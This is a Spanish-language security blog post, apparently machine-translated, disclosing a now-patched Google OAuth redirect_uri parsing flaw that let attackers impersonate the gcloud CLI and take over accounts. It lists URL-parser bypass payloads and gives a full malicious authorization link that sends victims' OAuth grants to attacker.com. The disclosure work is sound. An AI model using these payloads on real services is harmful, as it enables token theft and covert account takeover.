439 lecturas
439 lecturas

Este subtil truco de URL permite a los atacantes eludir las defensas OAuth de Google

por Mohamed Benchikh9m2025/05/06
Read on Terminal Reader

Demasiado Largo; Para Leer

Este artículo recorre una vulnerabilidad única de adquisición de cuentas OAuth que había descubierto recientemente que afecta a varios servicios de Google. Se origina de la confusión de análisis de URL al manejar el parámetro redirect_uri OAuth. La vulnerabilidad permite a los atacantes fingir aplicaciones legítimas como el cliente Google Cloud SDK y filtrar el token de acceso a un servidor controlado por el atacante que permite un acceso de puerta trasera a la cuenta de la víctima - con casi cero visibilidad a la víctima.
featured image - Este subtil truco de URL permite a los atacantes eludir las defensas OAuth de Google
Mohamed Benchikh HackerNoon profile picture
0-item
1-item


TL;DR

Título: DR

Este artículo pasa por una vulnerabilidad única de toma de cuenta de OAuth que había descubierto recientemente que afecta a varios servicios de Google.redirect_uriLa vulnerabilidad permite a los atacantes fingir aplicaciones legítimas como el cliente Google Cloud SDK y filtrar el token de acceso a un servidor controlado por el atacante que permite un acceso de puerta trasera a la cuenta de la víctima, con casi cero visibilidad para la víctima.


Note:Las cuatro primeras secciones cubren el fondo general de OAuth, los riesgos de fuga de token y la confusión de análisis de URL. Si ya está familiarizado con estos conceptos, no dude en ir directamente aSection 5: Google Cloud Account Takeover Case.

1 Introducción

OAuth 2.0 permite a las aplicaciones de terceros acceder a los datos de los usuarios sin manejar contraseñas directamente al tener un servidor de autorización (por ejemplo, Google) generando un token para ser utilizado por la aplicación de terceros para solicitar datos de los usuarios o realizar acciones en su nombre.


Pero si elredirect_uriEl parámetro no es validado con precisión quirúrgica, los atacantes pueden fingir ser aplicaciones de confianza y engañar a los usuarios a filtrar sus tokens de acceso.


En este artículo, voy a caminar por cómo un fallo de análisis de URL sutil me permitió hacer exactamente eso - en varios servicios de Google - con una profundidad en el caso de Google Cloud.

Cómo funciona OAuth

Mientras que OAuth es un protocolo bastante complejo que merece una serie de artículos para comprender plenamente, aquí hay una visión general simplificada:


  1. Authorization Request: The user is redirected to an authorization server (e.g., Google) to log in and approve requested permissions (scopes).

  2. Redirect with Grant: After approval, the server redirects the user back to a predefined redirect_uri with an authorization grant (a one-time code that gets exchanged for an access token, for simplicity sake we’ll refer to OAuth grant as access token).

  3. Request user data: The client app uses the token to access the user’s protected data from the resource server.


Para visualizar las cosas, el diagrama demasiado simplificado a continuación me muestra iniciar sesión en Medium usando mi cuenta de Google:


Figure 1: Login to Medium using Google


Note:En muchos casos, el servidor de autorización y el servidor de recursos son los mismos.

OAuth Token Fuga

Mirando el diagrama de arriba, la parte más complicada es el paso 5, donde el servidor de autorización envía el token generado de vuelta a la aplicación del cliente.redirect_uriSaber dónde enviar el token.


Si este parámetro no es correctamente validado, un atacante puede fingir la aplicación del cliente (por ejemplo, Medium) y engañar al servidor de autorización para enviarle el token de acceso del usuario, aunque, desde la perspectiva del usuario, todo parece legítimo.


Figure 2: Google OAuth login flow


Es típico,redirect_uries validado en cierta medida — no puede simplemente lanzar cualquier URL aleatoria en el servidor de autorización. Sin embargo, los métodos de validación varían en todas las implementaciones dependiendo de las necesidades de negocio, y los defectos en este proceso pueden ser explotados.

Algunos patrones comunes:


  • Correspondencia estricta: Corresponde exactamente a una cadena con un URI pre-registrado.
  • Wildcard o Path Prefix Matching: Permitir URIs como https://example.com/* o https://*.example.com.
  • Loopback Addresses: Común en las aplicaciones de escritorio, donde un servidor local maneja el redireccionamiento.

URL Parsing Confusión

Según elRFC 3986, una URL estándar tiene la siguiente estructura:


scheme://username:password@host:port/path?query#fragment


Cada componente desempeña un papel específico:


  • scheme: in web context it’s usually the protocol (e.g., http)

  • username:password: user credentials

  • host: the domain or IP address (e.g., google.com)

  • port: optional port number (e.g., 443)

  • path: the specific resource or endpoint (e.g., /login)

  • query: key-value pairs of parameters

  • fragment: a client side page reference


Note: host:portSe refiere a comoauthority, username:passwordSe refiere a comouserinfo


A primera vista, esto parece sencillo, pero pueden ocurrir discrepancias de análisis sutiles, especialmente cuando se tratan casos de borde.Estas inconsistencias se pueden explotar para ataques como el paso de la validación o el contrabando de solicitudes entre protocolos.


Figure 3: Smuggling SMTP protocol over HTTP protocol (credit: Orange Tsai, Black Hat 2017)


Los desarrolladores podrían asumir que una URL es analizada de una manera consistente y estandarizada en todas las bibliotecas, sin embargo, la extensa investigación sobre los parsers de URL ha demostrado lo opuesto.


  • OAuth redirect URI validation

  • SSRF prevention

  • Proxy or CDN routing


A continuación se muestra un ejemplo en el que una única URL es tratada de manera diferente en tres parsers diferentes.


Figure 4: URL Parsing Confusion (credit: Orange Tsai, Black Hat 2017)


Si bien este artículo no se sumergirá profundamente en los ataques de confusión de análisis de URL, se exploran minuciosamente en el artículo de Black Hat de 2017.Una nueva era de SSRF: aprovechando el parser de URL en los lenguajes de programación de tendencia

El caso de Google Cloud Account Takeover

Si alguna vez has usado Google Cloud antes, probablemente hayas encontradogcloudCLI utilidad — una poderosa herramienta de línea de comandos utilizada para gestionar los recursos de Google Cloud. Entre otras características, permite a los usuarios autenticarse usando sus cuentas de Google a través de un flujo OAuth basado en el navegador.


Aquí está cómo funciona:


  1. The user runs gcloud auth login

  2. gcloud spawns a local http server on a dynamic port (e.g., http://localhost:50000)

  3. gcloud opens a browser window directing the user to a Google OAuth authorization URL with redirect_uri set to the local server address

  4. The user authenticates and consents to the requested scopes

  5. Google redirects the user to redirect_uri containing the authorization code

  6. gcloud exchanges the authorization code for an access token

  7. gcloud uses the access token to perform actions on the user’s Google cloud account


Para que este flujo funcione, Google confía en ciertas URLs de retroalimentación (por ejemplo, http://localhost) para aplicaciones nativas, ya que estas se consideran suficientemente seguras para el uso local y se listan internamente.


Figure 5: OAuth flow triggered by gcloud

Identificar la superficie de ataque

Después de ver alocalhostSe utiliza comoredirect_urimi primer instinto fue reemplazarlo por127.0.0.1y[::1]Este es un paso crucial porque confirma que las URLs están siendo analizadas y comparadas internamente, en lugar de tener algún control básico como:


if re.match(r"^http://localhost:\d{1,5}/$", url) is None:
    return False


Así que aquí tenemos dos cosas importantes que están sucediendo:


  1. The provided redirect_uri gets parsed and validated internally by Google’s backend.

  2. After a successful login and user consent, users get redirected to redirect_uri in the browser.


Esto significa que tenemos dos parsers de URL en lugar, el que utiliza el backend de Google, y el parsers utilizado por nuestro navegador (Chrome en mi caso), por lo que a menos que estos dos parsers sean idénticos, cualquier inconsistencia entre ellos puede ser explotada para filtrar la concesión de OAuth a un servidor controlado por el atacante.


El objetivo ahora es claro, necesitamos crear una URL que se analize de manera diferente entre los dos parsers, de una manera que engañe al parser de backend de Google para analizarlo como una dirección de loopback, mientras que el parser de Chrome la analizará como una dirección de Internet global.


El hecho de que tengamos un conocimiento muy limitado sobre el backend de Google y qué biblioteca están utilizando internamente para analizar URLs, significa que solo nos queda el enfoque de la caja negra.



B. Fuzzing por la victoria

Lo que hice después fue escribir un script de Python que mutaría diferentes URLs aplicando varios trucos de codificación, notaciones alternativas y casos de borde para ver cuáles pasaron la validación de backend de Google pero fueron interpretados de forma diferente por Chrome, el script empleó varios trucos como:


  • Representaciones IP alternativas: [::ffff:127.0.0.1], [0000::1], 2130706433, 127.0.1, 0177.0.0.1, [::1]
  • Direcciones IP privadas: 10.0.0.5, 192.168.5.3, 127.10.0.1
  • Diferentes esquemas: file://, ldap://, ftp://, javascript://, datos://
  • Injeción de CRLF: %0D%0A
  • Hostname/IP como información de usuario: http://127.0.0.1@attacker.com, http://attacker.com@127.0.0.1, http://[::1]@attacker.com
  • URLs muy largas: http://AAAAAA...@127.0.0.1
  • Sufixos de DNS: 127.0.0.1.attacker.com
  • URLs malformados: attacker.com@127.0.0.1:8080@attacker.com, attacker.com#@127.0.0.1, attacker.com?@127.0.0.1, attacker.com&@127.0.0.1
  • Injecciones de interrogante/fragmento: Injecta extra ? , & o # antes/después @
  • DNS rebinding (testado manualmente)


Figure 6: Fuzzing Google’s backend URL parser


Después de ejecutar el guión durante un tiempo, y a mi sorpresa, uno de los casos de borde generados logró desencadenar la discrepancia exacta que estaba buscando, mi reacción fue:



El caso de Edge encontrado fue:


http://[0:0:0:0:0:ffff:128.168.1.0]@[0:0:0:0:0:ffff:127.168.1.0]@attacker.com/


que se puede simplificar aún más en:


http://[::1]@[::1]@attacker.com/


Cuando intentamos analizar esta URL usando Chrome, obtenemos el siguiente resultado:


Figure 7: Google Chrome parsing our crafted URL


La parte interesante dehttp://[::1]@[::1]@attacker.com/es que es una URL malformada para empezar.@El personaje está reservado para separar eluserinfoDesde lahostname, y sólo debe aparecer una vez en una URL válida. Chrome mitiga este caso de borde al codificar todos los caracteres no reservados, así como ocurrencias anteriores de caracteres reservados, y usando sólo la última versión.@como el delimitador. Esto garantiza que cualquier@antes de que el último sea URL-codificado.


En contraste, basado en pruebas experimentales con variaciones de carga útil, parece que el analizador de backend de Google no codificó correctamente las ocurrencias anteriores de caracteres reservados y utilizó la primera ocurrencia de@como el delimitar. después de dividir en@Por lo tanto, el parsador probablemente extrajo eluserinfoyhostnamede posiciones fijas, ignorando por completo el trailattacker.com.


Figure 8: Chrome parsing our payload


Figure 9: Google’s backend parsing our payload


Vale la pena señalar que este comportamiento se desencadenó exclusivamente cuando se utiliza IPv6.http://127.0.0.1@127.0.0.1@attacker.com) funcionó como se esperaba, destacando que la inconsistencia era específica para la lógica de análisis de IPv6.

C. Poniéndolo todo juntos

Ahora nuestro vector de ataque se hace claro, podemos fingirgcloudCli utilidad y engañar a un usuario para autenticar el pensamiento que están autenticando agcloud.

El ataque se desarrolla así:

  1. Crea una solicitud de autorización de OAuth maliciosa y envía su enlace (bloqueo de código a continuación) a la víctima
  2. La víctima se presenta con un flujo de autenticación OAuth totalmente legítimo para el cliente Google Cloud SDK (Figura 9)
  3. La víctima se conecta y acepta los permisos listados (objetivos)
  4. La víctima es redirigida a nuestro anfitrión malicioso, con su subvención OAuth generada
  5. Utilizamos la concesión OAuth para realizar llamadas de API en la cuenta de la víctima en su nombre


https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http://[::1]@[::1]@attacker.com/&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=[state]&access_type=offline&code_challenge=[code_challenge]&code_challenge_method=S256



Figure 10: Google OAuth consent page


A continuación se muestra una visualización del flujo de ataque propuesto


Figure 11: OAuth account takeover by impersonating gcloud


Desde el punto de vista del usuario, se vería como si estuvieran autenticando engcloud, incluso para el servidor de autorización de Google, parecería que el usuario está tratando de autenticarse engcloud, por lo que estamos engañando efectivamente a ambas partes de autenticación a pensar que es un proceso de autenticación legítimo mientras que el token de acceso final está siendo filtrado en nuestro host malicioso.


El token de acceso filtrado efectivamente nos concederá acceso ilimitado a la cuenta de las víctimas, lo que nos permitirá realizar incluso acciones altamente privilegiadas.


Lo que hace que este ataque sea aún más peligroso es:


  1. Stealth: official Google applications and services get a sort of special treatment, unlike 3rd-party applications, they don’t get listed on Third-party apps & services page (this was the case before the vulnerability was patched), that means once an attacker gets a victim’s access token (and maybe refresh token as well), they can effectively have a stealthy, long-term backdoor access with almost zero visibility to the user.

  2. Trust: official Google applications can request high-risk scopes, actions that are often regarded as highly privileged, so we can technically request more scopes that what a normal gcloud application might request (we can only request scopes that are available but not actively requested)


Como se mencionó al principio de este artículo,gcloudes sólo una aplicación vulnerable, a continuación se muestran algunas otras aplicaciones que he encontrado que también son vulnerables:


  • Google Drive Desktop Client

  • Firebase Desktop Client

  • Windows Mail (3rd-party app)


Google respondió rápidamente, reconoció la gravedad en 72 horas, y otorgó una recompensa de alta gravedad.


Figure 12: Google acknowledging the vulnerability


6 Conclusión

Esta investigación destaca cómo una discrepancia sutil en el análisis de URL puede socavar completamente la seguridad de un flujo de autenticación completo que se reutiliza en diferentes aplicaciones y servicios, incluso cuando se implementa por una empresa tan madura y consciente de la seguridad como Google.


Aunque OAuth es un protocolo maduro y bien estudiado, su seguridad depende en gran medida de los pequeños detalles de implementación que varían entre plataformas, bibliotecas y entornos.Es un recordatorio de que en seguridad, la precisión importa: incluso pequeñas inconsistencias entre componentes pueden ser suficientes para romper los supuestos críticos de confianza.


Google ha corregido la vulnerabilidad después de una divulgación responsable.


Figure 13: Google Security Team confirming the vulnerability was patched


¡Gracias por leer!

Trending Topics

blockchaincryptocurrencyhackernoon-top-storyprogrammingsoftware-developmenttechnologystartuphackernoon-booksBitcoinbooks